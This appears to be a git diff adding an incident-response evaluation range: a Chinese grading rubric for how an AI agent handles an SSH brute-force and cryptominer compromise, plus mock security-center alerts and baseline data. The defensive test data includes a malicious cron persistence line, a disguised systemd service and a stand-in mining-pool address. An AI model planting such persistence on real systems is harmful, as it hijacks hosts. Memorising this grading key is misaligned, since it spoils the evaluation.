`PER-V01` +- **证据**:`/etc/systemd/system/system-update-helper.service` — 伪装为系统更新助手,ExecStart 指向 `/tmp/.X11-unix/.xorg` +- **检测分**(3 分) + - 发现:识别到可疑 systemd 服务 + - 证据:指出 unit 文件路径和 ExecStart 指向挖矿二进制 + - 归因:识别为 systemd 层面的挖矿持久化机制 +- **方案分**(2 分) + - 正确性:方案给出 `systemctl stop && disable` + 删除 unit 文件 + `daemon-reload` 的完整命令 + - 完整性:方案包含清理后的验证步骤 + +### CHK-14:Systemd 服务伪装识别 `PER-V01` *仅检测项* +- **证据**:服务名称 `system-update-helper` 和描述 `System Update Helper Service` 模仿合法系统服务 +- **检测分**(3 分) + - 发现:指出服务名称和描述的伪装手法 + - 证据:对比合法系统服务命名模式,指出刻意模仿 + - 归因:识别为攻击者通过命名伪装躲避人工审查的手段 +- **方案分**:N/A(实际处置由 CHK-15 覆盖) +- **加分项**:Agent 检查所有 systemd 服务是否存在类似伪装模式 + +### CHK-15:全面的持久化扫描 `Q-05` *仅检测项* +- **证据**:除 crontab/bashrc/systemd 外无其他持久化机制 +- **检测分**(3 分) + - 发现:执行系统性的持久化扫描(init.d、rc.local、at 任务、profile.d 等) + - 证据:记录扫描范围和方法 + - 归因:即使未发现额外项目,证明排查的全面性 +- **方案分**:N/A(本项衡量排查全面性,无对应修复方案) +- **加分项**:Agent 记录完整扫描范围并确认未发现其他持久化 + +## 维度 4:评测质量维度(4 项) + +### CHK-16:暴力破解证据恢复 `Q-02` `Q-03` *仅检测项* +- **证据**: + - `/var/log/secure` 中仍包含 `Accepted password for root` 行(攻击者只删除了 `Failed password` 行) + - `/var/log/secure.1.bak` 包含清理前的完整日志 + - `lastlog` / `utmp` 仍显示攻击者的登录 +- **检测分**(3 分) + - 发现:在部分日志清理后仍能恢复暴力破解证据 + - 证据:利用多个数据源(secure 残留行、bak 文件、lastlog/utmp)交叉验证 + - 归因:识别出 Failed 行缺失与 Accepted 行保留的断层本身即为日志篡改证据 +- **方案分**:N/A(本项属于取证分析能力) + +### CHK-17:攻击者 IP 识别 `Q-03` *仅检测项* +- **证据**:`/var/log/secure` 中的 `Accepted password for root from `;`last` 命令输出;utmp 记录 +- **检测分**(3 分) + - 发现:识别出攻击者的源 IP 地址 + - 证据:引用具体日志行和 IP 地址 + - 归因:将该 IP 与暴力破解及后续恶意活动关联 +- **方案分**:N/A(实际封禁方案由 CHK-22 覆盖) + +### CHK-18:入口判定 `Q-01` `Q-04` *仅检测项* +- **证据**:SSH 暴力破解成功日志 + 弱密码 + 无 CVE 利用的组合 +- **检测分**(3 分) + - 发现:正确判定入口为"SSH 弱密码暴力破解" + - 证据:引用 SSH 登录成功日志、弱密码配置、无 Web 漏洞利用痕迹 + - 归因:排除 CVE 和 Web 漏洞,正确定性为 baseline_gap(基线配置缺陷)场景 +- **方案分**:N/A(入口判定属于分析能力) +- **关键**:Agent 不应编造 CVE 或 Web 漏洞作为入口——诚实度在此处评判 + +### CHK-19:攻击时间线重建 `Q-02` *仅检测项* +- **证据**:secure 日志时间戳(登录)、文件 mtime(挖矿部署)、crontab 修改时间、systemd unit 创建时间 +- **检测分**(3 分) + - 发现:构建出连贯的攻击时间线 + - 证据:暴力破解 → 登录 → 侦察 → 挖矿部署 → 持久化 → 日志清理 + - 归因:将多个时间戳来源交叉关联,形成完整攻击叙事 +- **方案分**:N/A(时间线重建属于分析能力) +- **加分项**:Agent 将 bash_history 的时间戳与其他证据进行关联 + +## 维度 5:修复闭环(4 项) + +### CHK-20:攻击者 IP 防火墙封禁 `ENT-N01` +- **证据**:从日志中识别的攻击者 IP +- **检测分**(3 分) + - 发现:建议封禁攻击者 IP + - 证据:引用具体攻击者 IP 地址 + - 归因:关联到入站暴力破解攻击 +- **方案分**(2 分) + - 正确性:方案给出正确的防火墙规则命令(firewall-cmd/iptables) + - 完整性:方案包含 `--permanent` 持久化和规则验证步骤 + +### CHK-21:SSH 加固验证 `Q-07` +- **证据**:应用 SSH 配置更改后 +- **检测分**(3 分) + - 发现:建议运行 `sshd -t` 验证配置 + - 证据:说明在禁用密码认证前需先测试密钥认证 + - 归因:体现修复操作的风险意识(避免锁定自己) +- **方案分**(2 分) + - 正确性:方案给出 `sshd -t && systemctl restart sshd` 验证流程 + - 完整性:方案包含先验证后重启的顺序,避免错误配置导致 sshd 无法启动 + +### CHK-22:服务重启与验证 `Q-07` +- **证据**:Nginx、MySQL、SSH 在修复后应正常运行 +- **检测分**(3 分) + - 发现:建议验证加固操作未影响业务服务 + - 证据:列出需要验证的关键服务 + - 归因:体现业务影响意识 +- **方案分**(2 分) + - 正确性:方案列出关键服务的状态检查命令 + - 完整性:方案涵盖所有受影响服务(nginx、mariadb、sshd),考虑端口监听确认 + +### CHK-23:挖矿外连封禁 `ENT-N02` +- **证据**:挖矿程序曾连接 `stratum+tcp://pool.evil-example.invalid:3333` +- **检测分**(3 分) + - 发现:建议封禁到矿池地址的出站连接 + - 证据:引用矿池地址和端口 + - 归因:识别为挖矿进程的 C2/矿池通信 +- **方案分**(2 分) + - 正确性:方案给出正确的出站防火墙规则 + - 完整性:方案包含目标 IP 和端口的封禁,以及规则持久化 diff --git a/ranges/ssh-miner/disk.tar.gz b/ranges/ssh-miner/disk.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..ec0f8955536277e62da241bd40153dbbcadbb15b --- /dev/null +++ b/ranges/ssh-miner/disk.tar.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:05e439146138b1444b45b73456c5efabbd25f3724bdc60dcb0ba513d87cf563a +size 9555394 diff --git a/ranges/ssh-miner/disk.tar.gz.sha256 b/ranges/ssh-miner/disk.tar.gz.sha256 new file mode 100644 index 0000000000000000000000000000000000000000..a60f7761017dc8fde613736fc03a00edbe46e11f --- /dev/null +++ b/ranges/ssh-miner/disk.tar.gz.sha256 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1a050ea58dfdde4e4eddd200a5d00f9f645beecf7f28285e0a05e2824179f8a8 +size 78 diff --git a/ranges/ssh-miner/sas-mock/alerts.json b/ranges/ssh-miner/sas-mock/alerts.json new file mode 100644 index 0000000000000000000000000000000000000000..3be47a2a047a1c9402fd48565498e14913a755c7 --- /dev/null +++ b/ranges/ssh-miner/sas-mock/alerts.json @@ -0,0 +1,150 @@ +{ + "Count": 5, + "CurrentPage": 1, + "PageSize": 50, + "RequestId": "mock-range-ssh-miner-alerts", + "SuspEvents": [ + { + "AlarmEventName": "SSH暴力破解成功", + "AlarmEventNameDisplay": "SSH暴力破解成功", + "AlarmEventType": "异常登录", + "AlarmEventTypeDisplay": "异常登录", + "AlarmUniqueInfo": "mock_ssh_bruteforce_001", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_login", + "Desc": "检测到SSH暴力破解成功,攻击者使用弱密码成功登录root账户。", + "Details": [ + { "NameDisplay": "登录用户名", "Type": "text", "Value": "root", "ValueDisplay": "root" }, + { "NameDisplay": "登录源IP", "Type": "text", "Value": "172.18.0.3", "ValueDisplay": "172.18.0.3" }, + { "NameDisplay": "登录时间", "Type": "text", "Value": "2026-04-09 14:23:45", "ValueDisplay": "2026-04-09 14:23:45" }, + { "NameDisplay": "失败尝试次数", "Type": "text", "Value": "7", "ValueDisplay": "7" }, + { "NameDisplay": "描述", "Type": "text", "Value": "攻击者从外网IP对SSH服务进行暴力破解,尝试7次后使用弱密码成功登录root账户。建议立即修改密码并限制SSH访问。", "ValueDisplay": "攻击者从外网IP对SSH服务进行暴力破解,尝试7次后使用弱密码成功登录root账户。建议立即修改密码并限制SSH访问。" } + ], + "EventStatus": 1, + "EventSubType": "SSH暴力破解成功", + "HasTraceInfo": true, + "Id": 900000001, + "InstanceId": "i-mock-ssh-miner-001", + "InstanceName": "range-ssh-miner-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "异常登录-SSH暴力破解成功", + "OccurrenceTime": "2026-04-09 14:23:45", + "Stages": "[\"初始访问\"]" + }, + { + "AlarmEventName": "恶意脚本执行", + "AlarmEventNameDisplay": "恶意脚本执行", + "AlarmEventType": "主机异常", + "AlarmEventTypeDisplay": "主机异常", + "AlarmUniqueInfo": "mock_miner_exec_001", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测到可疑的挖矿程序正在运行。", + "Details": [ + { "NameDisplay": "进程路径", "Type": "text", "Value": "/tmp/.X11-unix/.xorg", "ValueDisplay": "/tmp/.X11-unix/.xorg" }, + { "NameDisplay": "进程命令行", "Type": "text", "Value": "/tmp/.X11-unix/.xorg", "ValueDisplay": "/tmp/.X11-unix/.xorg" }, + { "NameDisplay": "父进程路径", "Type": "text", "Value": "/usr/bin/bash", "ValueDisplay": "/usr/bin/bash" }, + { "NameDisplay": "进程用户", "Type": "text", "Value": "root", "ValueDisplay": "root" }, + { "NameDisplay": "外连地址", "Type": "text", "Value": "pool.evil-example.invalid:3333", "ValueDisplay": "pool.evil-example.invalid:3333" }, + { "NameDisplay": "首次发现时间", "Type": "text", "Value": "2026-04-09 14:25:30", "ValueDisplay": "2026-04-09 14:25:30" } + ], + "EventStatus": 1, + "EventSubType": "挖矿程序", + "HasTraceInfo": true, + "Id": 900000002, + "InstanceId": "i-mock-ssh-miner-001", + "InstanceName": "range-ssh-miner-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "主机异常-挖矿程序", + "OccurrenceTime": "2026-04-09 14:25:30", + "Stages": "[\"影响\"]" + }, + { + "AlarmEventName": "可疑计划任务", + "AlarmEventNameDisplay": "可疑计划任务", + "AlarmEventType": "持久化", + "AlarmEventTypeDisplay": "持久化", + "AlarmUniqueInfo": "mock_crontab_001", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_crontab", + "Desc": "检测到可疑的crontab条目,定期执行隐藏目录中的脚本。", + "Details": [ + { "NameDisplay": "计划任务内容", "Type": "text", "Value": "*/5 * * * * /tmp/.X11-unix/.xorg >/dev/null 2>&1", "ValueDisplay": "*/5 * * * * /tmp/.X11-unix/.xorg >/dev/null 2>&1" }, + { "NameDisplay": "任务用户", "Type": "text", "Value": "root", "ValueDisplay": "root" }, + { "NameDisplay": "首次发现时间", "Type": "text", "Value": "2026-04-09 14:28:00", "ValueDisplay": "2026-04-09 14:28:00" } + ], + "EventStatus": 1, + "EventSubType": "可疑计划任务", + "HasTraceInfo": true, + "Id": 900000003, + "InstanceId": "i-mock-ssh-miner-001", + "InstanceName": "range-ssh-miner-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "suspicious", + "Name": "持久化-可疑计划任务", + "OccurrenceTime": "2026-04-09 14:28:00", + "Stages": "[\"持久化\"]" + }, + { + "AlarmEventName": "可疑Systemd服务", + "AlarmEventNameDisplay": "可疑Systemd服务", + "AlarmEventType": "持久化", + "AlarmEventTypeDisplay": "持久化", + "AlarmUniqueInfo": "mock_systemd_001", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_autorun", + "Desc": "检测到新安装的systemd服务,ExecStart指向隐藏目录中的可执行文件。", + "Details": [ + { "NameDisplay": "服务名称", "Type": "text", "Value": "system-update-helper.service", "ValueDisplay": "system-update-helper.service" }, + { "NameDisplay": "ExecStart", "Type": "text", "Value": "/tmp/.X11-unix/.xorg", "ValueDisplay": "/tmp/.X11-unix/.xorg" }, + { "NameDisplay": "服务状态", "Type": "text", "Value": "enabled", "ValueDisplay": "enabled" }, + { "NameDisplay": "首次发现时间", "Type": "text", "Value": "2026-04-09 14:29:00", "ValueDisplay": "2026-04-09 14:29:00" } + ], + "EventStatus": 1, + "EventSubType": "可疑自启动项", + "HasTraceInfo": true, + "Id": 900000004, + "InstanceId": "i-mock-ssh-miner-001", + "InstanceName": "range-ssh-miner-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "suspicious", + "Name": "持久化-可疑自启动项", + "OccurrenceTime": "2026-04-09 14:29:00", + "Stages": "[\"持久化\"]" + }, + { + "AlarmEventName": "异常外连", + "AlarmEventNameDisplay": "异常外连", + "AlarmEventType": "异常网络连接", + "AlarmEventTypeDisplay": "异常网络连接", + "AlarmUniqueInfo": "mock_outbound_001", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_connect", + "Desc": "检测到进程向已知矿池地址发起外连。", + "Details": [ + { "NameDisplay": "进程路径", "Type": "text", "Value": "/tmp/.X11-unix/.xorg", "ValueDisplay": "/tmp/.X11-unix/.xorg" }, + { "NameDisplay": "外连目标", "Type": "text", "Value": "pool.evil-example.invalid:3333", "ValueDisplay": "pool.evil-example.invalid:3333" }, + { "NameDisplay": "协议", "Type": "text", "Value": "TCP", "ValueDisplay": "TCP" }, + { "NameDisplay": "首次发现时间", "Type": "text", "Value": "2026-04-09 14:26:00", "ValueDisplay": "2026-04-09 14:26:00" } + ], + "EventStatus": 1, + "EventSubType": "矿池通信", + "HasTraceInfo": true, + "Id": 900000005, + "InstanceId": "i-mock-ssh-miner-001", + "InstanceName": "range-ssh-miner-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "异常网络连接-矿池通信", + "OccurrenceTime": "2026-04-09 14:26:00", + "Stages": "[\"命令与控制\"]" + } + ] +} diff --git a/ranges/ssh-miner/sas-mock/baselines.json b/ranges/ssh-miner/sas-mock/baselines.json new file mode 100644 index 0000000000000000000000000000000000000000..f85051a58c135bd5088eba750384f9067e5de547 --- /dev/null +++ b/ranges/ssh-miner/sas-mock/baselines.json @@ -0,0 +1,62 @@ +{ + "Count": 3, + "CurrentPage": 1, + "PageSize": 50, + "RequestId": "mock-range-ssh-miner-baselines", + "TotalCount": 3, + "WarningSummarys": [ + { + "CheckCount": 12, + "HighWarningCount": 4, + "LastFoundTime": "2026-04-09 02:50:00", + "Level": "high", + "LowWarningCount": 2, + "MediumWarningCount": 3, + "RiskId": 1001, + "RiskName": "Linux SSH安全基线", + "SubTypeAlias": "Linux SSH安全基线", + "TypeAlias": "最佳安全实践", + "WarningMachineCount": 1, + "WarningItems": [ + { "ItemName": "SSH-PermitRootLogin", "Level": "high", "Status": "failed", "Description": "SSH配置允许root直接登录(PermitRootLogin yes),应设置为no或prohibit-password", "Advice": "编辑/etc/ssh/sshd_config,设置PermitRootLogin no" }, + { "ItemName": "SSH-PasswordAuthentication", "Level": "high", "Status": "failed", "Description": "SSH启用密码认证(PasswordAuthentication yes),建议使用密钥认证", "Advice": "编辑/etc/ssh/sshd_config,设置PasswordAuthentication no" }, + { "ItemName": "SSH-MaxAuthTries", "Level": "high", "Status": "failed", "Description": "SSH最大认证尝试次数设置过大(MaxAuthTries 100),容易遭受暴力破解", "Advice": "编辑/etc/ssh/sshd_config,设置MaxAuthTries 3" }, + { "ItemName": "SSH-Protocol", "Level": "medium", "Status": "passed", "Description": "SSH使用Protocol 2", "Advice": "" } + ] + }, + { + "CheckCount": 7, + "HighWarningCount": 2, + "LastFoundTime": "2026-04-09 02:50:00", + "Level": "high", + "LowWarningCount": 1, + "MediumWarningCount": 1, + "RiskId": 1002, + "RiskName": "MySQL安全基线", + "SubTypeAlias": "MySQL安全基线", + "TypeAlias": "最佳安全实践", + "WarningMachineCount": 1, + "WarningItems": [ + { "ItemName": "MySQL-RemoteRoot", "Level": "high", "Status": "failed", "Description": "MySQL root用户可从任意主机连接('root'@'%'),建议限制为localhost", "Advice": "执行: REVOKE ALL ON *.* FROM 'root'@'%'; 或限制为特定IP" }, + { "ItemName": "MySQL-WeakPassword", "Level": "high", "Status": "failed", "Description": "MySQL root密码强度不足", "Advice": "修改root密码为强密码(12位以上,含大小写字母、数字、特殊字符)" } + ] + }, + { + "CheckCount": 8, + "HighWarningCount": 1, + "LastFoundTime": "2026-04-09 02:50:00", + "Level": "medium", + "LowWarningCount": 2, + "MediumWarningCount": 2, + "RiskId": 1003, + "RiskName": "Linux账户安全基线", + "SubTypeAlias": "Linux账户安全基线", + "TypeAlias": "最佳安全实践", + "WarningMachineCount": 1, + "WarningItems": [ + { "ItemName": "Sudoers-NOPASSWD", "Level": "high", "Status": "failed", "Description": "用户devops配置了NOPASSWD sudo权限,可无密码执行任意命令", "Advice": "编辑/etc/sudoers.d/devops,移除NOPASSWD或限制允许的命令" }, + { "ItemName": "Password-Policy", "Level": "medium", "Status": "failed", "Description": "系统密码策略未配置最小长度和复杂度要求", "Advice": "配置/etc/security/pwquality.conf设置密码复杂度策略" } + ] + } + ] +} diff --git a/ranges/ssh-miner/sas-mock/vulns.json b/ranges/ssh-miner/sas-mock/vulns.json new file mode 100644 index 0000000000000000000000000000000000000000..c99690a75822c8365a28eeed73bdb616cc6eabfd --- /dev/null +++ b/ranges/ssh-miner/sas-mock/vulns.json @@ -0,0 +1,7 @@ +{ + "cve": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-ssh-miner-vuln-cve", "TotalCount": 0, "VulRecords": [] }, + "sys": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-ssh-miner-vuln-sys", "TotalCount": 0, "VulRecords": [] }, + "cms": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-ssh-miner-vuln-cms", "TotalCount": 0, "VulRecords": [] }, + "app": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-ssh-miner-vuln-app", "TotalCount": 0, "VulRecords": [] }, + "emg": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-ssh-miner-vuln-emg", "TotalCount": 0, "VulRecords": [] } +}